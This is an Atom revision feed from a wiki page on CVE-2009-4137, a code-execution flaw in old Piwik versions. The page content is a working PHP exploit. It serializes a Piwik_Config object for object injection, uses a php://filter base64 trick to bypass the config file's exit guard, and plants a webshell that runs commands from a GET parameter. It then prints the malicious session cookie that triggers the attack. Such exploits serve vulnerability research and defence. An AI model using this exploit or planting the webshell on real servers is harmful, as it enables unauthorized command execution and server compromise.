<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2009-4137_Piwik_before_0.5_%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%2F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2009-4137 Piwik before 0.5 任意代碼執行/文件上傳漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2009-4137_Piwik_before_0.5_%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%2F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2009-4137_Piwik_before_0.5_%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C/%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T10:17:42Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2009-4137_Piwik_before_0.5_%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C/%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&amp;diff=899&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; &lt;?php /* We exploit the CVE-2009-4137 by using a php object injection of a Piwik_Config object The __destruct() function of this object writes the config to the...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2009-4137_Piwik_before_0.5_%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C/%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&amp;diff=899&amp;oldid=prev"/>
		<updated>2021-04-02T04:12:46Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; &amp;lt;?php /* We exploit the CVE-2009-4137 by using a php object injection of a Piwik_Config object The __destruct() function of this object writes the config to the...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
/*&lt;br /&gt;
We exploit the CVE-2009-4137 by using a php object injection of a Piwik_Config object&lt;br /&gt;
The __destruct() function of this object writes the config to the path specified in the pathIniFileUserConfig variable&lt;br /&gt;
The content of a config file is always prepended by a php showstopper as seen in the following two code-lines of Config.php&lt;br /&gt;
&lt;br /&gt;
$configFile = &amp;quot;; &amp;lt;?php exit; ?&amp;gt; DO NOT REMOVE THIS LINE\n&amp;quot;;&lt;br /&gt;
$configFile .= &amp;quot;; file automatically generated or modified by Piwik; you can manually override the default values in global.ini.php by redefining them in this file.\n&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
To circumvent this, we use php://filter/write=convert.base64-decode and pre-encode our payload. PHP is nice enough to just skip every character that is not part of the base64 alphabet&lt;br /&gt;
&lt;br /&gt;
We then prepend a single character to correct the padding to our payload and write a simple php webshell.&lt;br /&gt;
A request to the piwik server with the cookie then triggers the exploit&lt;br /&gt;
&lt;br /&gt;
(You need to url_encode the Cookie if you use manual requests. The '+' and '/' characters of the base64 alphabet must be encoded)&lt;br /&gt;
*/&lt;br /&gt;
&lt;br /&gt;
class Zend_Config {&lt;br /&gt;
    protected $_data = array(&lt;br /&gt;
        &amp;quot;login&amp;quot; =&amp;gt; &amp;quot;root&amp;quot;,&lt;br /&gt;
        &amp;quot;password&amp;quot; =&amp;gt; &amp;quot;rootroot&amp;quot;,&lt;br /&gt;
        &amp;quot;email&amp;quot; =&amp;gt; &amp;quot;root@rootroot.com&amp;quot;&lt;br /&gt;
    );&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
class Piwik_Config {&lt;br /&gt;
    protected $configFileUpdated = true;&lt;br /&gt;
    protected $doWriteFileWhenUpdated = true;&lt;br /&gt;
    protected $correctCwd = &amp;quot;.&amp;quot;;&lt;br /&gt;
    protected $pathIniFileUserConfig = &amp;quot;php://filter/write=convert.base64-decode/resource=/var/www/piwik/webshell.php&amp;quot;;&lt;br /&gt;
    protected $userConfig = array();&lt;br /&gt;
&lt;br /&gt;
    function __construct() { // 'a' for padding&lt;br /&gt;
	$this-&amp;gt;userConfig[&amp;quot;a&amp;quot;.base64_encode('&amp;lt;?php system($_GET[\'cmd\']); ?&amp;gt;'.&amp;quot;\n&amp;quot;)] = new Zend_Config;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
$b64 = base64_encode(serialize(new Piwik_Config));&lt;br /&gt;
$urlEncoded = urlencode($b64);&lt;br /&gt;
echo &amp;quot;Use this cookie&amp;quot;;&lt;br /&gt;
echo &amp;quot;PIWIK_SESSID=&amp;quot;.$urlEncoded.&amp;quot;\n&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>